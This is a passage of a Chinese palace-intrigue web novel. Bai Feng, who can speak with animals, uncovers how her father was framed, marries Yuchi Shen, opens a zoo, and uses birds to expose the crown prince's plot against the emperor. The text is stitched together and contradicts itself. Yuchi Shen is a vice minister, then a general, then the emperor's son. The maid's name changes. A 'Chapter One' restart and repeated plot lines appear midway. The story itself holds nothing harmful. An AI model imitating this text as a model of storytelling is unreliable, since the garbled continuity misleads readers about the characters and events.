“是吗?”沈婉仪端起茶杯,轻轻吹了吹,“可我听说,白姑娘的父亲当年也是朝中重臣,后来因贪墨被贬。这样的家世,确实不太适合抛头露面。” 春杏气得要说话,被白凤拦住。 “沈小姐消息灵通。”白凤笑了,“不过我爹娘的事,还轮不到外人评头论足。” “我这也是为你好。”沈婉仪放下茶杯,“京城不比边关,有些话说出去,可就收不回来了。” “那我更要谢谢沈小姐提醒。”白凤站起身,“时候不早了,我就不留沈小姐用饭了。” 沈婉仪脸色一沉,“白凤,你别敬酒不吃吃罚酒。” “我这人就是不爱喝酒。”白凤走到门口,“春杏,送客。” 沈婉仪气得站起来,指着白凤,“你会后悔的。” “那就走着瞧。” 沈婉仪走后,春杏担心地说,“小姐,咱们这样得罪她,她肯定不会善罢甘休。” “我知道。”白凤坐下来,手指在桌上敲了敲,“所以我得先查清楚,当年我爹娘到底是怎么回事。” “小姐要查案子?” “对。”白凤眼神变得锐利,“沈婉仪今天特意提起这事,说明她知道些什么。而且她是太子表妹,太子当年正是弹劾我爹的主力。” 春杏倒吸一口凉气,“小姐,这可是太子啊,咱们斗得过吗?” “斗不斗得过,试试才知道。”白凤站起来,“你去打听一下,当年经手我爹案子的官员,现在都在哪里。” “是。” 当天晚上,白凤翻出母亲留下的一个小木盒。盒子里装着几封信,都是父亲当年写给母亲的。她一封封看过去,在最后一封信里,发现了一行小字。 “若有不测,去找刑部的老张。” 老张? 白凤记得,父亲确实有个姓张的朋友,在刑部当差。她连夜让春杏去打听,第二天就得到消息——张大人已经告老还乡,现在住在城南的一座小院里。 白凤没有犹豫,第二天一早就带着春杏出门了。 城南的小院很安静,院门虚掩着。白凤推门进去,看到一个白发老者正在院子里浇花。 “张大人?” 老者转过身,看到白凤,手里的水壶差点掉在地上,“你、你是……” “我是白凤,白启山的女儿。” 张大人浑浊的眼睛瞬间湿润了,“你长得真像你娘。” “张大人,我想知道当年的真相。” 张大人叹了口气,“进屋说吧。” 屋里,张大人给白凤倒了杯茶,“当年你爹的案子,我也参与了审理。说实话,那案子疑点重重。” “什么疑点?” “账本。”张大人说,“那些所谓的贪墨账本,笔迹明显不对。我当时就提出异议,但被压下去了。” “谁压的?” “太子。”张大人压低声音,“太子当时正在争储,你爹支持的是三皇子。太子为了铲除异己,就设了这个局。” 白凤握紧拳头,“还有谁参与了?” “户部尚书沈大人,还有……”张大人顿了顿,“还有沈婉仪。她当时虽然年纪小,但帮着太子传递消息,做了不少事。” 白凤闭上眼睛,深吸一口气。 原来如此。 “张大人,这些你能作证吗?” “我老了,不想再卷入这些事。”张大人摇头,“但我可以给你一样东西。” 他从柜子里拿出一个油纸包,递给白凤,“这是当年的原始卷宗,我偷偷留了一份。你拿去,或许有用。” 白凤接过卷宗,郑重地行了一礼,“多谢张大人。” 回到府里,白凤把卷宗摊开,一页页仔细看。越看,心里越冷。 这不是简单的贪墨案,而是一场精心策划的政治陷害。太子为了争储,不惜牺牲无辜的人。而沈婉仪,作为太子的表妹,自然也是帮凶之一。 “小姐,你打算怎么办?”春杏问。 白凤合上卷宗,“先把这些证据藏好。然后……” 她顿了顿,嘴角勾起一个冷笑。 “然后去找尉迟深。” 尉迟深从兵部回来,看到白凤坐在书房里,面前摆着一堆文书。 “你在看什么?” “我爹娘的案卷。”白凤抬起头,“尉迟深,我要你娶我。” 尉迟深愣住,“你说什么?” “我说,我要你娶我。”白凤站起来,走到他面前,“明媒正娶,三书六礼,一样不能少。” “为什么突然……” “因为我需要你的身份。”白凤打断他,“我要翻案,要为我爹娘洗清冤屈。但凭我一个罪臣之女,根本没人会听。可如果我是兵部侍郎的夫人,就不一样了。” 尉迟深盯着她,“你就为了这个?” “对。”白凤毫不避讳,“咱们本来就是互相利用。你需要我的能力,我需要你的权势。现在我要更进一步,你答不答应?” 尉迟深沉默了很久,“好。” “就这么简单?” “就这么简单。”尉迟深转身往外走,“我明天就去提亲。” “等等。”白凤叫住他,“你不问问我查到了什么?” “不用问。”尉迟深回头,“既然你要翻案,我就帮你。” 白凤看着他的背影,心里涌起一股说不清的情绪。 第二天,尉迟深真的带着聘礼上门了。 消息传开,整个京城都炸了锅。 “尉迟侍郎要娶那个罪臣之女?” “听说是白凤主动提的。” “这女人好大的胆子。” 沈婉仪听到消息,手里的茶杯直接摔在地上。 “什么?尉迟深要娶白凤?” “是的,小姐。”丫鬟战战兢兢地说,“听说明天就要下聘。” 第36章 咱们怎么办? 沈婉仪气得浑身发抖,“这个贱人,她凭什么?” “小姐,咱们怎么办?” “去,给我备车,我要去尉迟府。” 沈婉仪到尉迟府的时候,白凤正在院子里晒太阳。 “白凤,你好大的胆子。”沈婉仪冲进来,指着白凤,“你以为攀上尉迟深,就能翻身了?” “沈小姐这话说得,我什么时候趴下过?”白凤慢悠悠地说。 “你爹是罪臣,你就是罪臣之后。”沈婉仪冷笑,“尉迟深娶你,就是自毁前程。” “那是他的事。”白凤站起来,“沈小姐,你这么着急,是怕什么?” “我怕什么?”沈婉仪冷笑,“我只是看不惯你这种不知廉耻的女人。” “不知廉耻?”白凤走到她面前,“沈小姐,你确定要跟我说廉耻二字?” 沈婉仪脸色一变,“你什么意思?” “没什么意思。”白凤笑了,“只是听说,沈小姐和太子殿下关系匪浅。表兄妹之间,感情这么好,真是让人羡慕。” “你胡说什么?”沈婉仪脸色煞白。 “我有没有胡说,沈小姐心里清楚。”白凤转身往屋里走,“春杏,送客。” “白凤,你给我站住。”沈婉仪追上去,“你今天必须把话说清楚。” “说什么?”白凤回头,“说你和太子的事?还是说当年陷害我爹的事?” 沈婉仪瞳孔一缩,“你、你怎么知道……” “我不止知道这些。”白凤走到她面前,压低声音,“我还知道,当年那些账本是假的,笔迹是你们伪造的。沈小姐,你说如果这些事传出去,太子还能保住储君之位吗?” 沈婉仪浑身发抖,“你敢威胁我?” “不是威胁,是警告。”白凤退后一步,“沈小姐,好自为之。” 沈婉仪狠狠瞪了白凤一眼,转身就走。 刚走到门口,就看到尉迟深回来了。 “尉迟侍郎。”沈婉仪立刻换上笑脸,“我正好有事找你。” “沈小姐请说。”尉迟深语气客气,但疏离。 “是这样的,我听说你要娶白凤,我觉得这事还需要慎重考虑。”沈婉仪说,“白凤她……” “她怎么了?”尉迟深打断她。 “她是罪臣之女,名声不好。”沈婉仪说,“而且她心机深沉,你娶了她,只会被她利用。” “多谢沈小姐关心。”尉迟深淡淡地说,“不过我娶谁,还轮不到外人置喙。” “我这是为你好。”沈婉仪急了,“尉迟深,你别被她骗了。她接近你,就是为了利用你的权势。” “那又如何?”尉迟深看着她,“沈小姐,你接近我,不也是为了拉拢我站队吗?” 沈婉仪脸色一白。 “还有。”尉迟深继续说,“当年白大人的案子,我查过了。那些账本确实有问题。沈小姐,你说我该不该帮白凤翻案?” 沈婉仪后退一步,“你、你在说什么?” “我在说,有些事瞒不住。”尉迟深走到她面前,“沈小姐,你最好管好自己的嘴,别到处说些有的没的。否则……” 他顿了顿,“否则我不介意把当年的真相全部翻出来。” 沈婉仪脸色惨白,转身就跑。 白凤从屋里走出来,“你这样吓她,不怕她狗急跳墙?” “怕什么?”尉迟深说,“她越急,越容易露出马脚。” “你倒是想得明白。”白凤笑了,“不过我今天听到一个更劲爆的消息。” “什么消息?” “沈婉仪养的那只猫,跟我说了些有意思的事。”白凤压低声音,“你猜猜,沈婉仪和太子到底是什么关系?” 尉迟深皱眉,“你别卖关子。” “那只猫说,它经常看到太子深夜去沈府。”白凤说,“而且每次去,都是直接进沈婉仪的闺房。” 尉迟深脸色一变,“你确定?” “猫不会骗人。”白凤说,“而且那只猫还说,沈婉仪一直梦想着当皇后。她帮太子做了那么多事,就是为了将来能母仪天下。” “如果这事传出去……” “对,如果传出去,太子的名声就毁了。”白凤说,“不过我暂时不打算说出去。” “为什么?” “因为现在说出去,只会打草惊蛇。”白凤说,“我要等一个合适的时机,让他们自己露出马脚。” 尉迟深看着她,“白凤,你变了。” “哪里变了?” “变得更狠了。” “那是因为我知道,在京城,不狠就活不下去。”白凤转身进屋,“对了,明天下聘的时候,记得多带点东西。我可不想让人说我嫁得寒酸。” 尉迟深笑了,“放心,不会让你丢脸。” 第二天,尉迟深带着八抬大轿,敲锣打鼓地来下聘。 聘礼摆了满满一院子,金银珠宝,绫罗绸缎,应有尽有。 街坊邻居都围过来看热闹。 “这尉迟侍郎真是大手笔。” “那白凤好福气。” “可她是罪臣之女啊。” “管她是什么,人家现在要当侍郎夫人了。” 沈婉仪站在自家府门口,看着那浩浩荡荡的队伍,气得咬牙切齿。 “小姐,咱们怎么办?”丫鬟问。 “去太子府。”沈婉仪转身上车,“我要见太子。” 太子府,沈婉仪跪在太子面前,哭得梨花带雨。 “殿下,你要为我做主啊。” “婉仪,发生什么事了?”太子扶起她。 “是白凤,她知道了当年的事。”沈婉仪哭着说,“她还威胁我,说要把真相说出去。” 太子脸色一沉,“她怎么知道的?” “我也不知道。”沈婉仪说,“殿下,咱们必须尽快除掉她,否则后患无穷。” “除掉她?”太子冷笑,“她现在是尉迟深的未婚妻,动她就是动尉迟深。尉迟深现在深受父皇器重,我们不能轻举妄动。” “那怎么办?” “等。”太子说,“等一个合适的机会。” “可是……” “没什么可是。”太子打断她,“婉仪,你要记住,做大事不能急。” 沈婉仪咬着嘴唇,“我知道了。” “还有。”太子看着她,“以后少去我府上,免得被人说闲话。” 沈婉仪心里一痛,“殿下,你这是什么意思?” “没什么意思。”太子转身,“你回去吧。” 第37章 朝堂上炸开了锅。 “你倒是聪明。”白凤笑了笑,“不过这种话以后别乱说,听见了吗?” 豆豆点头如捣蒜。 可惜有些话一旦说出口,就收不回来了。 第二天早朝,御史台的人突然弹劾尉迟深府上养了妖物。说是有人看见白凤跟鸟雀说话,那些鸟雀还真的听她的话做事。 朝堂上炸开了锅。 尉迟深站在那里,脸色铁青。 皇帝敲了敲龙案,“尉迟将军,可有此事?” “回陛下,臣妻确实能与动物相通。”尉迟深说得很直接,“但这是天赋,不是妖术。” 太子在一旁接话,“父皇,这种妖术若是流传开来,岂不是天下大乱?万一被有心人利用,后果不堪设想。” “太子说得有理。”皇帝点点头,看向尉迟深,“你觉得该如何处置?” 尉迟深跪了下来,“臣愿意接受任何处罚,但请陛下不要为难臣妻。” 朝堂上又是一阵议论。 最后皇帝下旨,凡是与白凤有过接触的动物,一律处死。连王公贵族家里养的马都不能幸免,全部改用人力抬轿。 消息传到将军府,白凤正在院子里喂鸟。 “小姐,不好了!”豆豆跑进来,眼泪都出来了,“皇上下旨要杀掉所有动物!” 白凤手里的鸟食撒了一地。 “什么?” “就是,就是说小姐能跟动物说话,所以要把动物都杀了。”豆豆哭得上气不接下气,“小姐,都怪奴婢嘴快,都是奴婢的错!” 白凤站在那里,脑子里一片空白。她想起那些曾经帮过她的小动物们,想起它们信任的眼神,想起它们欢快的叫声。 “小姐,你打我吧!”豆豆跪在地上,“都是奴婢害的!” 白凤蹲下来,拉起豆豆,“不怪你。” “可是……” “真的不怪你。”白凤擦掉豆豆脸上的泪,“这事早晚会被人发现,只是时间问题。” 当天晚上,尉迟深回府的时候,白凤正在书房里写东西。 “在写什么?”尉迟深走过去。 “给那些动物的主人写信,让他们把动物藏起来。”白凤头也不抬,“能救一个是一个。” 尉迟深看着她,突然觉得这个女人真的很不一样。换做别人,早就吓得六神无主了,她倒好,还在想着怎么救别人的动物。 “写完了我让人去送。”尉迟深说。 “你不怕连累你?”白凤停下笔,抬头看他。 “怕。”尉迟深很诚实,“但更怕你出事。” 白凤愣了愣,低下头继续写。耳根却悄悄红了。 三天后,太子派人来送请帖,说是要在城外猎场举办围猎,特意邀请尉迟深和白凤参加。 白凤看着那张烫金的请帖,冷笑了一声,“这是要请君入瓮啊。” “不去。”尉迟深直接把请帖扔到桌上。 “不去不行。”白凤拿起请帖仔细看,“太子这是摆明了要对付我,不去的话,他会有一百种理由给你扣帽子。” 尉迟深皱眉,“那就更不能去了。” “去。”白凤站起来,“而且要大大方方地去。” 围猎当天,天气很好。猎场里聚集了不少王公贵族,个个穿着华丽的猎装,兴致勃勃地等着开场。 太子看见白凤来了,脸上堆满了笑,“弟妹来了,快请坐。” 白凤福了福身,“多谢太子殿下。” “听说弟妹能与动物相通,今天正好让大家开开眼界。”太子笑得意味深长。 白凤心里明镜似的,面上却不动声色,“殿下抬举了,不过是些小把戏罢了。” 围猎开始后,情况就不对了。 按理说,猎场里的猎物都是提前放进去的,数量和种类都有严格控制。可今天不知道怎么回事,野兽特别多,而且特别凶猛。 一头野猪突然冲出来,直奔太子的马。太子吓得脸都白了,连滚带爬地从马上摔下来。 “救驾!救驾!”侍卫们围上去,可那野猪跟疯了一样,见人就撞。 白凤站在远处,冷眼旁观。她能感觉到,这些动物是被人故意激怒的。猎场四周布满了某种刺激性的气味,专门用来激发动物的攻击性。 “太子这是搬起石头砸自己的脚了。”白凤小声说。 尉迟深护在她身边,“小心。” 话音未落,一只豹子从树上扑下来,目标正是太子。侍卫们慌了神,弓箭都射偏了。 眼看豹子就要扑到太子身上,白凤突然吹了个口哨。 那豹子在半空中硬生生停住了,落地后转身就跑。 全场死寂。 太子瘫在地上,裤子都湿了一片。 “殿下没事吧?”白凤走过去,语气关切得很。 太子看着她,眼里全是惊恐,“你…你对那豹子做了什么?” “臣妾只是吓唬它一下。”白凤笑得人畜无害,“殿下不是想看臣妾的本事吗?” 太子说不出话来。 接下来的围猎彻底失控了。各种野兽从四面八方冲出来,见人就攻击。猎场变成了屠宰场,到处都是惨叫声。 户部尚书的女儿被野狼咬伤了腿,血流了一地。礼部侍郎被野猪顶飞了,落地时胳膊都断了。 白凤站在一块高地上,冷眼看着这一切。这些人平时作威作福,今天也该尝尝被猎杀的滋味了。 “够了。”尉迟深拉住她,“再这样下去会出人命的。” 白凤看了他一眼,又吹了几声口哨。那些发狂的野兽慢慢安静下来,退回了树林里。 猎场一片狼藉。太子被人扶起来的时候,脸色比死人还难看。 回宫的路上,白凤坐在马车里,听着外面的议论声。 “你说那尉迟夫人到底是人是鬼?” “谁知道呢,连野兽都听她的话。” “太吓人了,以后见到她得绕着走。” 豆豆在旁边小声说,“小姐,他们说得太过分了。” “由他们去。”白凤掀开车帘看了一眼,“反正我也不在乎。” 到了府门口,尉迟深扶她下车。白凤站稳后,突然说:“对不起。” “嗯?” “连累你了。”白凤低着头,“现在全京城的人都知道你娶了个妖怪。” 尉迟深沉默了一会儿,伸手揉了揉她的头,“别乱说。” “可是……” 第38章 什么选择? “你不是妖怪。”尉迟深打断她,“你只是和别人不一样而已。” 白凤抬起头,眼眶有点湿。 “而且我喜欢你这样。”尉迟深说完就走了,留下白凤站在原地发呆。 这人今天是怎么了?怎么老说这种话? 当天夜里,皇帝紧急召见尉迟深入宫。 白凤在府里等消息,一直等到天快亮了,尉迟深才回来。 “怎么样?”白凤迎上去。 尉迟深脱下外袍,坐到椅子上,“皇上给了我两个选择。” “什么选择?” “要么休妻,要么交出兵权。”尉迟深说得很平静,“我选了后者。” 白凤脑子嗡的一声。 兵权?那可是尉迟深的命根子。他这些年出生入死,才有了今天的地位。没了兵权,他就什么都不是了。 “你疯了?”白凤抓住他的手,“你怎么能答应?” “不答应还能怎么办?”尉迟深反手握住她,“难道真的休妻?” “可是……” “没什么可是。”尉迟深看着她,“兵权没了可以再争,你没了就真的没了。” 白凤鼻子一酸,眼泪掉了下来。 “别哭。”尉迟深笨拙地帮她擦眼泪,“哭得我心烦。” 白凤破涕为笑,“你这人真不会说话。” “嗯,我知道。”尉迟深难得露出一丝笑意。 第二天一早,白凤就进宫求见皇帝。 皇帝正在批奏章,听说白凤求见,挑了挑眉,“宣。” 白凤进殿后规规矩矩地行了礼,“臣妾叩见陛下。” “起来吧。”皇帝放下笔,“你来做什么?” “臣妾听说陛下要收回夫君的兵权,特来请罪。”白凤跪得笔直,“这一切都是臣妾的错,不该连累夫君。” “你倒是有自知之明。”皇帝冷笑,“你可知道,因为你这个能力,朝中已经乱成什么样子了?” “臣妾知道。”白凤抬起头,“所以臣妾想为皇家做点事,以赎罪过。” 皇帝来了兴趣,“说说看。” “臣妾愿意担任皇家的驯兽师,专门训练各种动物。”白凤说得很认真,“无论是战马、猎鹰,还是其他动物,臣妾都能训练。” 皇帝沉吟片刻,“条件呢?” “臣妾希望陛下能允许臣妾建一座园子,专门收养那些流浪的动物。”白凤顿了顿,“而且这座园子可以对外开放,收取门票,所得银两全部上交国库。” “动物园?”皇帝第一次听说这个概念。 “对,动物园。”白凤解释道,“百姓们平时很难见到各种珍奇动物,如果有这样一座园子,不仅能让他们开眼界,还能为国库增收。” 皇帝眼睛亮了。这个主意不错,既解决了动物的问题,又能赚钱,还能彰显皇家的仁德。 “准了。”皇帝拍板,“朕给你一块地,你尽管去做。” 白凤松了口气,“多谢陛下。” “不过。”皇帝话锋一转,“尉迟深的兵权还是要收回来的。” 白凤咬了咬牙,“臣妾明白。” 回到府里,白凤立刻开始筹备动物园。她让豆豆去通知那些还活着的小动物们,让它们都来新园子报到。 “小姐,这么多动物,吃喝拉撒都是问题啊。”豆豆愁眉苦脸。 “所以才要收门票。”白凤拿出一张图纸,“你看,这里是猛兽区,这里是飞禽区,这里是草食动物区。每个区域都分开管理,既安全又方便。” 豆豆看着密密麻麻的规划图,头都大了,“小姐,奴婢看不懂。” “没事,慢慢来。”白凤收起图纸,“先把地方整理出来再说。” 动物园建起来后,立刻成了京城的新鲜事物。开业第一天,门口就排起了长队。 “娘,我要看老虎!” “爹,那只猴子好好玩!” “快看快看,那只鹦鹉会说话!” 白凤站在园子里,看着熙熙攘攘的人群,嘴角露出了笑容。这些小家伙们终于不用东躲西藏了,可以光明正大地生活了。 “小姐,今天的门票钱收了三百两!”豆豆兴冲冲地跑来,“照这个速度,用不了多久就能回本了!” “嗯,做得不错。”白凤摸了摸一只乖巧的梅花鹿,“对了,那些受伤的动物怎么样了?” “都在后院养着呢,府医说再过几天就能痊愈了。” 白凤点点头,转身去看其他动物。走到鸟类区的时候,一只喜鹊突然飞到她肩膀上,叽叽喳喳地叫个不停。 “什么?太子在密谋造反?”白凤脸色一变。 喜鹊继续叫着,白凤听完后眉头皱得更紧了。 原来太子这些年一直在暗中培养势力,如今见父皇有意传位,却迟迟不肯退位,已经按捺不住了。最近他频繁接触朝中大臣,还私下调动了禁军。 “这个蠢货。”白凤骂了一句,“他以为皇帝是傻子吗?” 喜鹊歪着头看她。 “行了,你去继续盯着。”白凤挥挥手,“有什么消息随时来报。” 喜鹊叫了一声,飞走了。 白凤站在原地想了想,转身往府里走。这个消息必须告诉尉迟深,虽然他现在没了兵权,但在军中还是有威望的。 回到府里,尉迟深正在书房里看兵书。 “还看?”白凤走进去,“都没兵权了,看这些有什么用?” “看看而已。”尉迟深合上书,“动物园怎么样?” “很好,生意兴隆。”白凤坐到他对面,“不过我有个消息要告诉你。” “什么消息?” “太子要造反。”白凤说得很直接。 尉迟深愣了一下,“你怎么知道?” “我的小鸟告诉我的。”白凤指了指窗外,“它们现在是我的情报网。” 尉迟深沉默了一会儿,“你确定?” “十有八九。”白凤说,“太子最近的动作太大了,而且他还在秘密调动禁军。” “这事得告诉皇上。”尉迟深站起来。 “等等。”白凤拉住他,“先别急。” “为什么?” “因为我们可以借这个机会,要点好处。”白凤眨眨眼,“你不想把兵权要回来吗?” 尉迟深看着她,突然笑了,“你这个女人,心眼真多。” “彼此彼此。”白凤也笑了,“所以,要不要跟我一起去敲皇帝的竹杠?” “去。”尉迟深很干脆,“不过这次你得听我的。” “行,听你的。” 两人进宫的时候,皇帝正在御花园散步。看见他们来了,有些意外。 第39章 关于太子的 “你们两个怎么一起来了?”皇帝问。 “臣有要事禀报。”尉迟深跪下,“关于太子的。” 皇帝脸色一沉,“说。” “太子私下调动禁军,意图不轨。”尉迟深说得很简洁。 “证据呢?” “臣妻的鸟儿看见的。”尉迟深说完,皇帝差点笑出来。 “你拿鸟儿当证据?” “陛下,臣妾的鸟儿从不说谎。”白凤接话,“而且臣妾可以让它们带陛下去看现场。” 皇帝沉默了。他其实早就察觉到太子的动作了,只是一直没有证据。现在白凤送上门来,正好可以借这个机会试探一下。 “那就让你的鸟儿带路吧。”皇帝说。 白凤吹了个口哨,几只喜鹊飞了过来。它们叽叽喳喳地叫着,然后朝着某个方向飞去。 皇帝带着侍卫跟着鸟儿走,最后来到一座废弃的庙宇。庙里果然藏着不少兵器和盔甲,还有一份详细的造反计划书。 皇帝脸色铁青,“来人,把太子给朕抓起来!” 当天晚上,太子被打入天牢。朝中一片哗然。 第二天早朝,皇帝当着满朝文武的面,宣布恢复尉迟深的兵权,并且加封白凤为一品诰命夫人。 “多谢陛下。”尉迟深和白凤一起跪下谢恩。 散朝后,皇帝单独留下了白凤。 “你这个动物情报网,以后就专门为朕效力吧。”皇帝说,“朕不会亏待你的。” 白凤笑了,“陛下,臣妾有个条件。” “说。” “臣妾希望陛下能给动物园拨一笔银子,用来扩建。”白凤眼睛亮晶晶的,“而且情报费也得算一算吧?” 皇帝哭笑不得,“你这个女人,真是……” “臣妾也要养家糊口嘛。”白凤理直气壮,“这么多小动物,每天吃喝拉撒都是钱。” “行行行,朕答应你。”皇帝摆摆手,“以后有什么消息,记得第一时间告诉朕。” “遵旨。”白凤笑得眉眼弯弯。 走出宫门的时候,尉迟深看着她,“你还真敢开口。” “不敢开口怎么行?”白凤挽住他的胳膊,“咱们家现在一堆动物要养,不多要点钱,喝西北风啊?” 尉迟深笑了,“说得也是。” 两人并肩走在宫道上,夕阳把他们的影子拉得很长很长。#第一章 太子府的密信送到尉迟深手里时,白凤正在院子里逗弄那只新抓来的金钱豹。 “这畜生倒是挺听你话。”尉迟深把信展开看了一眼,随手递给白凤。 白凤接过来扫了两眼,啧了一声:“太子这是要拉拢你?还是试探你?” “都有。”尉迟深在石凳上坐下,“他最近动作频繁,估计是察觉到父皇对他的态度变了。” 白凤把信纸揉成一团喂给金钱豹,那畜生嗅了嗅,嫌弃地甩开脑袋。她拍拍手上的灰:“你打算怎么办?” “将计就计。”尉迟深抬眼看她,“你敢不敢陪我演一出戏?” 白凤挑眉:“有什么不敢的?说说看。” 三日后,尉迟深应约去了太子府。 太子赵煜坐在主位上,笑得温和:“三弟难得来,今日咱们兄弟俩好好喝几杯。” “多谢太子哥哥。”尉迟深端起酒杯,神色恭敬。 赵煜试探着开口:“听闻三弟最近和那个驭兽师走得很近?” “白凤确实本事不小。”尉迟深放下酒杯,“不过太子哥哥放心,我只是看重她的能力,并无其他心思。” “那就好。”赵煜眼中闪过一丝精光,“父皇最近身体不太好,朝中事务繁杂,三弟若是有什么想法,不妨直说。” 尉迟深垂下眼睑,手指在杯沿上摩挲:“我能有什么想法?只是想为父皇分忧罢了。” 这话说得模棱两可,赵煜听了却很满意。他又灌了尉迟深几杯酒,话里话外都在暗示,只要尉迟深肯站在他这边,将来少不了好处。 尉迟深装作被说动的样子,临走时还收下了赵煜送的一匣子金银珠宝。 回到府里,他把那匣子直接扔给白凤:“拿去玩。” 白凤打开看了一眼,啧啧称奇:“太子还真舍得下本钱。” “他以为我缺这点东西。”尉迟深脱下外袍,“明日你去宫里一趟,把今天的事原原本本告诉父皇。” 白凤愣了愣:“我去?” “太子在我身边安插了眼线,我去不合适。”尉迟深在椅子上坐下,“你不一样,你是驭兽师,进宫献兽是常事。” 白凤想了想,点头:“也行。” 第二天一早,白凤就牵着那只金钱豹进了宫。 皇帝正在御书房批阅奏折,见她来了,倒是来了兴致:“又抓到什么新鲜玩意儿了?” “回陛下,是只金钱豹。”白凤把豹子牵到近前,“臣昨日在城外捕获,想着陛下可能喜欢,就送进宫来。” 皇帝绕着金钱豹转了一圈,满意地点头:“不错,比上次那只花狸猫强多了。” 白凤趁机压低声音:“陛下,臣有要事禀报。” 皇帝挥退左右,白凤这才把昨日太子宴请尉迟深的事说了一遍。她没添油加醋,只是把赵煜说的那些话一字不差地复述出来。 皇帝听完,脸色渐渐沉了下来。 “他还说了什么?” “太子殿下暗示,只要三王爷肯站在他这边,将来登基之后,定会重用三王爷。”白凤顿了顿,“还说陛下身体不好,怕是撑不了几年了。” 啪! 皇帝一掌拍在桌上,奏折都震得跳了起来。 白凤吓得往后退了半步,金钱豹也跟着呜咽了一声。 “好,好得很!”皇帝气得胸口起伏,“朕还没死呢,他就迫不及待了!” 白凤低着头不说话,心里却在暗暗盘算。这一步棋算是走对了,接下来就看皇帝怎么处置太子了。 皇帝在屋里来回踱了几圈,突然停下脚步:“你回去告诉尉迟深,让他继续装作被太子拉拢的样子,朕要看看,他还能做出什么事来。” “是。”白凤应声退下。 接下来的半个月,尉迟深频繁出入太子府,两人表面上称兄道弟,私下里却各怀鬼胎。 赵煜越来越信任尉迟深,甚至把自己暗中培植的势力都透露了一些。尉迟深每次回来,都会把这些消息整理好,由白凤转呈给皇帝。 这天,赵煜又约尉迟深喝酒。 酒过三巡,赵煜突然压低声音:“三弟,我打算在秋猎时动手。” 尉迟深端着酒杯的手顿了顿:“太子哥哥此话怎讲?” 第40章 不该说 “父皇每年秋猎都要亲自下场,到时候山高林密,若是出了什么意外……”赵煜没把话说完,但意思已经很明显了。 尉迟深心里一凛,面上却不动声色:“太子哥哥考虑清楚了?” “早就考虑清楚了。”赵煜眼中闪过一丝狠厉,“父皇对我越来越不满,再拖下去,怕是要换太子了。与其坐以待毙,不如先下手为强。” 尉迟深沉默了片刻,举起酒杯:“那我敬太子哥哥一杯。” 两人碰杯,一饮而尽。 当夜,白凤连夜进宫,把这个消息告诉了皇帝。 皇帝听完,整个人都呆住了。 “他……他竟然想弑君?”皇帝的声音都在颤抖,“朕待他不薄,他怎么能……” 白凤垂着眼不说话。皇帝是什么样的人她心里清楚,对儿子狠得很,对太子的态度这些年确实变了不少。赵煜会走到这一步,也不全是他自己的错。 但这些话她不能说,也不该说。 京城的秋风带着几分凉意,白凤站在将军府的院子里,看着天上盘旋的几只鹰隼。这些日子,她的鸟类情报网传回来的消息越来越不对劲。 “主人,东宫那边又有动静了。”一只灰色的鹞鹰落在她肩头,用爪子轻轻蹭了蹭她的脸颊。 白凤从怀里掏出一块肉干喂给它,眯起眼睛:“说。” “太子殿下昨夜密会了户部侍郎和兵部尚书,还有几个地方的藩王使者。” 白凤手上的动作顿了顿。太子这是要干什么?皇帝今年才五十出头,正值壮年,太子这么急着做什么? “继续盯着,有消息立刻来报。” 鹞鹰应了一声,展翅飞走。白凤转身进屋,却看见尉迟深正坐在桌边喝茶,显然已经等了一会儿。 “你什么时候来的?” “刚才。”尉迟深放下茶杯,“听说你最近很忙?” 白凤在他对面坐下,给自己也倒了杯茶:“你那位好兄弟最近动作频繁,我得盯着点。” 尉迟深挑眉:“太子?” “除了他还能有谁。”白凤喝了口茶,“我的鸟儿们说,他最近频繁接触朝中重臣,还有地方势力。你说他想干什么?” 尉迟深沉默片刻:“父皇身体一直很好。” “所以他等不及了。”白凤把茶杯往桌上一放,“我这情报可不白给,你得付钱。” 尉迟深失笑:“你还真是一点亏都不吃。” “那当然。”白凤伸出手,“先付定金,后续情报另算。” 尉迟深从怀里掏出一张银票递过去。白凤接过来一看,眼睛都亮了:“一千两?你这么大方?” “情报值这个价。”尉迟深站起身,“不过我有个条件。” “说。” “这件事,我们得好好计划一下。”尉迟深走到窗边,看着外面的天色,“太子如果真的要动手,我们不能坐以待毙。” 白凤把银票收好,走到他身边:“你想怎么做?” “将计就计。”尉迟深转头看她,“让父皇看清太子的真面目。” 白凤想了想:“这主意不错。不过得小心,别让太子察觉。” “所以需要你的鸟儿们帮忙。”尉迟深说,“盯紧太子的一举一动,找出他的破绽。” “成交。”白凤伸出手,“不过价钱得再加。” 尉迟深看着她,突然笑了:“你这财迷的性子什么时候能改改?” “改不了,这是本性。”白凤理直气壮,“再说了,我养这么多鸟,每天光是吃的就是一大笔开销。” 尉迟深摇摇头,又掏出一张银票。白凤接过来,满意地点点头:“这还差不多。” 接下来的几天,白凤的鸟儿们几乎把太子的行踪摸了个底朝天。太子确实在密谋什么,而且动作越来越大。他不仅联络了朝中重臣,还暗中收买了禁军的几个将领。 “他这是要逼宫啊。”白凤把收集到的情报整理好,递给尉迟深,“你看看,这些人都是他的人。” 尉迟深看完,脸色有些凝重:“比我想的还要严重。” “所以我们得快点行动。”白凤说,“不然等他真的动手,就来不及了。” 尉迟深点头:“我会找机会把这些证据呈给父皇。” “等等。”白凤拦住他,“直接呈上去太明显了,太子肯定会察觉。我们得想个更好的办法。” “你有主意?” 白凤眼珠一转:“有。不过得演一出戏。” 她凑到尉迟深耳边,小声说了几句。尉迟深听完,眼中闪过一丝赞赏:“你这脑子,不去当军师可惜了。” “那是。”白凤得意地扬起下巴,“我可是靠脑子吃饭的。” 三天后,皇宫里传出消息,说皇帝突然病倒了。太子闻讯,立刻召集心腹商议。白凤的鸟儿们把太子的对话一字不落地传了回来。 “父皇病重,正是好时机。”太子在密室里来回踱步,“只要我们控制住禁军,大事可成。” “殿下,会不会太冒险?”有人提出疑问。 “富贵险中求。”太子冷笑,“我等了这么多年,不能再等了。” 白凤听完鸟儿的转述,冷哼一声:“果然沉不住气。” “现在可以行动了。”尉迟深说,“我去见父皇。” 当天夜里,尉迟深进宫求见。皇帝正在批阅奏章,看见他进来,放下笔:“这么晚了,有什么急事?” “父皇,儿臣有要事禀报。”尉迟深跪下,“关于太子。” 皇帝脸色一变:“说。” 尉迟深把收集到的证据一一呈上。皇帝看完,脸色铁青。他站起身,在殿内走了几圈,最后重重地坐回龙椅上。 “朕还以为他只是性子急了些。”皇帝闭上眼睛,“没想到他竟然…” “父皇,太子已经联络了不少人。”尉迟深说,“如果不尽快处理,恐怕会出大事。” 皇帝沉默良久,睁开眼睛:“你说得对。这件事,朕会处理。” 